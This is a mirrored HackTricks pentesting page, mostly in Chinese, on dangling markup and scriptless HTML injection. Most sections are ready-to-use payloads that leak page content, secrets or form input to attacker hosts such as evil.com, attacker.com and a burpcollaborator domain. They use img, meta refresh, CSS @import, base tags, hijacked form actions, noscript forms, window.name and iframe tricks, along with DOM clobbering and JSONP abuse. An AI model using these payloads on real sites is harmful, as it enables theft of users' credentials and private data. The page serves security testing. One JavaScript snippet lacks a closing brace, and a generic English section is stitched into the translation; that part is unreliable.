mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-02 09:29:59 +00:00
274 lines
15 KiB
Markdown
274 lines
15 KiB
Markdown
# 悬挂标记 - HTML无脚本注入
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
- 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
|
||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
|
||
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||
|
||
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
|
||
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||
|
||
</details>
|
||
|
||
## 简介
|
||
|
||
当发现**HTML注入**时,可以使用此技术从用户那里提取信息。如果你**找不到任何方法来利用**[**XSS**](xss-cross-site-scripting/),但你可以**注入一些HTML标签**,这将非常有用。\
|
||
如果某些**秘密以明文保存**在HTML中,并且你想要从客户端**窃取**它,或者你想要误导某些脚本执行,这也是很有用的。
|
||
|
||
这里提到的几种技术可以通过意想不到的方式(html标签、CSS、http-meta标签、表单、base等)绕过一些[**内容安全策略**](content-security-policy-csp-bypass/),以泄露信息。
|
||
|
||
## 主要应用
|
||
|
||
### 窃取明文秘密
|
||
|
||
如果你注入`<img src='http://evil.com/log.cgi?`,当页面加载时,受害者将向你发送从注入的`img`标签到代码中下一个引号之间的所有代码。如果某个秘密恰好位于该代码块中,你将窃取它(你也可以使用双引号进行相同的操作,看看哪个更有趣)。
|
||
|
||
如果`img`标签被禁止(例如由于CSP),你还可以使用`<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`。
|
||
```
|
||
<img src='http://attacker.com/log.php?HTML=
|
||
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
|
||
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
|
||
```
|
||
请注意,**Chrome会阻止包含"<"或"\n"的HTTP URL**,所以您可以尝试其他协议方案,如"ftp"。
|
||
|
||
您还可以滥用CSS的`@import`(它会发送直到找到";"为止的所有代码)
|
||
```markup
|
||
<style>@import//hackvertor.co.uk? <--- Injected
|
||
<b>steal me!</b>;
|
||
```
|
||
您还可以使用**`<table`**:
|
||
```bash
|
||
<table background='//your-collaborator-id.burpcollaborator.net?'
|
||
```
|
||
您还可以插入一个`<base`标签。所有的信息都将被发送,直到引号关闭,但这需要一些用户交互(用户必须点击某个链接,因为基准标签已经改变了链接指向的域名):
|
||
```markup
|
||
<base target=' <--- Injected
|
||
steal me'<b>test</b>
|
||
```
|
||
### 盗取表单
|
||
|
||
One interesting technique to steal user data is by exploiting dangling markup or HTML scriptless injection. This technique allows an attacker to inject malicious code into a website's HTML code without using any script tags.
|
||
|
||
The idea behind this technique is to find a vulnerable website that allows user-generated content to be displayed without proper sanitization. The attacker can then inject their own HTML code, including a form that looks identical to the original website's form.
|
||
|
||
When a user interacts with the injected form, their input is sent to the attacker's server instead of the legitimate website's server. This allows the attacker to steal sensitive information such as usernames, passwords, credit card details, or any other data entered into the form.
|
||
|
||
To perform this attack, the attacker needs to identify a vulnerable website and find a suitable location to inject their code. This can be done by analyzing the website's source code or using tools like Burp Suite to intercept and modify the website's responses.
|
||
|
||
Once the injection point is identified, the attacker can craft their malicious HTML code and inject it into the vulnerable website. The injected code should include a form that mimics the original website's form, ensuring that it looks legitimate and doesn't raise suspicion.
|
||
|
||
To make the attack more effective, the attacker can also use techniques like phishing to trick users into interacting with the injected form. This can be done by sending targeted emails or using social engineering techniques to lure users to the malicious website.
|
||
|
||
It is important for website developers to implement proper input validation and sanitization techniques to prevent this type of attack. Regular security audits and vulnerability assessments can also help identify and mitigate any potential vulnerabilities that could be exploited by attackers.
|
||
```markup
|
||
<base href='http://evil.com/'>
|
||
```
|
||
然后,将数据发送到路径的表单(如`<form action='update_profile.php'>`)将把数据发送到恶意域。
|
||
|
||
### 偷取表单 2
|
||
|
||
设置一个表单头:`<form action='http://evil.com/log_steal'>`,这将覆盖下一个表单头,并且表单中的所有数据将被发送给攻击者。
|
||
|
||
### 偷取表单 3
|
||
|
||
按钮可以使用属性"formaction"更改表单信息将要发送到的URL:
|
||
```markup
|
||
<button name=xss type=submit formaction='https://google.com'>I get consumed!
|
||
```
|
||
攻击者可以利用这个来窃取信息。
|
||
|
||
### 窃取明文密码 2
|
||
|
||
使用前面提到的最新技术来窃取表单(注入新的表单头),然后可以注入一个新的输入字段:
|
||
```markup
|
||
<input type='hidden' name='review_body' value="
|
||
```
|
||
而这个输入字段将包含HTML中双引号之间的所有内容和下一个双引号。这种攻击将"_**窃取明文密码**_"与"_**窃取表单2**_"混合在一起。
|
||
|
||
您可以通过注入一个表单和一个`<option>`标签来执行相同的操作。直到找到一个闭合的`</option>`标签之前的所有数据都将被发送:
|
||
```markup
|
||
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
|
||
```
|
||
### 表单参数注入
|
||
|
||
您可以更改表单的路径并插入新的值,以执行意外的操作:
|
||
```markup
|
||
<form action='/change_settings.php'>
|
||
<input type='hidden' name='invite_user'
|
||
value='fredmbogo'> ← Injected lines
|
||
|
||
<form action="/change_settings.php"> ← Existing form (ignored by the parser)
|
||
...
|
||
<input type="text" name="invite_user" value=""> ← Subverted field
|
||
...
|
||
<input type="hidden" name="xsrf_token" value="12345">
|
||
...
|
||
</form>
|
||
```
|
||
### 通过noscript窃取明文密码
|
||
|
||
`<noscript></noscript>` 是一个标签,如果浏览器不支持JavaScript,其内容将被解释执行(您可以在Chrome中启用/禁用JavaScript,访问[chrome://settings/content/javascript](chrome://settings/content/javascript))。
|
||
|
||
一种将网页内容从注入点到底部导出到攻击者控制的站点的方法是注入以下内容:
|
||
```markup
|
||
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
|
||
```
|
||
### 通过用户交互绕过CSP
|
||
|
||
从这个[PortSwigger的研究](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup)中,你可以了解到即使在**最严格的CSP限制**环境下,仍然可以通过一些**用户交互**来**泄露数据**。在这个例子中,我们将使用以下有效载荷:
|
||
```markup
|
||
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
|
||
<base target='
|
||
```
|
||
请注意,您将要求**受害者**点击一个链接,该链接将将其重定向到您控制的**有效负载**。还请注意,**`base`**标签中的**`target`**属性将包含**HTML内容**,直到下一个单引号。\
|
||
这将导致如果点击链接,**`window.name`**的值将是所有的**HTML内容**。因此,由于您控制着受害者通过点击链接访问的页面,您可以访问**`window.name`**并**窃取**这些数据:
|
||
```markup
|
||
<script>
|
||
if(window.name) {
|
||
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
|
||
</script>
|
||
```
|
||
### 误导性脚本工作流1 - HTML命名空间攻击
|
||
|
||
在HTML中插入一个新的带有id的标签,它将覆盖下一个标签,并且具有一个会影响脚本流程的值。在这个例子中,您可以选择与谁共享信息:
|
||
```markup
|
||
<input type='hidden' id='share_with' value='fredmbogo'> ← Injected markup
|
||
...
|
||
Share this status update with: ← Legitimate optional element of a dialog
|
||
<input id='share_with' value=''>
|
||
|
||
...
|
||
|
||
function submit_status_update() {
|
||
...
|
||
request.share_with = document.getElementById('share_with').value;
|
||
...
|
||
}
|
||
```
|
||
### 误导性脚本工作流2 - 脚本命名空间攻击
|
||
|
||
通过插入HTML标签在javascript命名空间中创建变量。然后,这个变量将影响应用程序的流程:
|
||
```markup
|
||
<img id='is_public'> ← Injected markup
|
||
|
||
...
|
||
|
||
// Legitimate application code follows
|
||
|
||
function retrieve_acls() {
|
||
...
|
||
if (response.access_mode == AM_PUBLIC) ← The subsequent assignment fails in IE
|
||
is_public = true;
|
||
else
|
||
is_public = false;
|
||
}
|
||
|
||
function submit_new_acls() {
|
||
...
|
||
if (is_public) request.access_mode = AM_PUBLIC; ← Condition always evaluates to true
|
||
...
|
||
}
|
||
```
|
||
### 滥用JSONP
|
||
|
||
如果你发现一个JSONP接口,你可以调用任意函数并传递任意数据:
|
||
```markup
|
||
<script src='/editor/sharing.js'>: ← Legitimate script
|
||
function set_sharing(public) {
|
||
if (public) request.access_mode = AM_PUBLIC;
|
||
else request.access_mode = AM_PRIVATE;
|
||
...
|
||
}
|
||
|
||
<script src='/search?q=a&call=set_sharing'>: ← Injected JSONP call
|
||
set_sharing({ ... })
|
||
```
|
||
或者你甚至可以尝试执行一些 JavaScript 代码:
|
||
```markup
|
||
<script src='/search?q=a&call=alert(1)'></script>
|
||
```
|
||
### Iframe滥用
|
||
|
||
请注意,即使跨源,**子文档可以查看和设置父文档的位置属性**。这意味着您可以通过在**iframe**中加载一些代码来使客户端访问任何其他页面,例如:
|
||
```markup
|
||
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
|
||
```
|
||
这可以通过类似以下方式来减轻风险:_**sandbox='allow-scripts allow-top-navigation'**_
|
||
|
||
还可以利用 iframe 来从不同页面中泄露敏感信息,**使用 iframe 的 name 属性**。这是因为你可以创建一个 iframe,通过滥用 HTML 注入,使得**敏感信息出现在 iframe 的 name 属性中**,然后从初始 iframe 中访问该 name 属性并泄露信息。
|
||
```html
|
||
<script>
|
||
function cspBypass(win) {
|
||
win[0].location = 'about:blank';
|
||
setTimeout(()=>alert(win[0].name), 500);
|
||
}
|
||
</script>
|
||
|
||
<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>
|
||
```
|
||
有关更多信息,请查看[https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
|
||
|
||
### \<meta 滥用
|
||
|
||
您可以使用**`meta http-equiv`**执行**多个操作**,例如设置Cookie:`<meta http-equiv="Set-Cookie" Content="SESSID=1">`或执行重定向(在此情况下为5秒):`<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
|
||
|
||
这可以通过使用与**http-equiv**相关的**CSP**(`Content-Security-Policy: default-src 'self';`或`Content-Security-Policy: http-equiv 'self';`)来**避免**。
|
||
|
||
### 新的\<portal HTML标签
|
||
|
||
您可以在[此处](https://research.securitum.com/security-analysis-of-portal-element/)找到关于\<portal标签可利用漏洞的非常**有趣的研究**。\
|
||
在撰写本文时,您需要在Chrome中启用portal标签,方法是在`chrome://flags/#enable-portals`中进行设置,否则它将无法工作。
|
||
```markup
|
||
<portal src='https://attacker-server?
|
||
```
|
||
### HTML泄漏
|
||
|
||
并非所有HTML中泄漏连接的方法都对悬挂标记有用,但有时它可能会有所帮助。在这里检查它们:[https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
|
||
|
||
## XS-Search
|
||
|
||
XS-Search旨在通过滥用侧信道攻击来**窃取跨源信息**。因此,它是一种与悬挂标记不同的技术,但其中一些技术滥用了HTML标签的包含(带有和不带有JS执行),例如[**CSS注入**](xs-search.md#css-injection)或[**延迟加载图像**](xs-search.md#image-lazy-loading)**。**
|
||
|
||
{% content-ref url="xs-search.md" %}
|
||
[xs-search.md](xs-search.md)
|
||
{% endcontent-ref %}
|
||
|
||
## 暴力破解检测列表
|
||
|
||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
|
||
|
||
## 参考资料
|
||
|
||
这里介绍的所有技术以及更多技术的详细信息可以在以下链接中查看:
|
||
|
||
{% embed url="http://lcamtuf.coredump.cx/postxss/" %}
|
||
|
||
还可以在这里找到可以滥用的其他HTML标签:
|
||
|
||
{% embed url="http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/" %}
|
||
|
||
更多信息:
|
||
|
||
{% embed url="https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup" %}
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
- 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
|
||
- 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
|
||
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||
|
||
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
|
||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||
|
||
</details>
|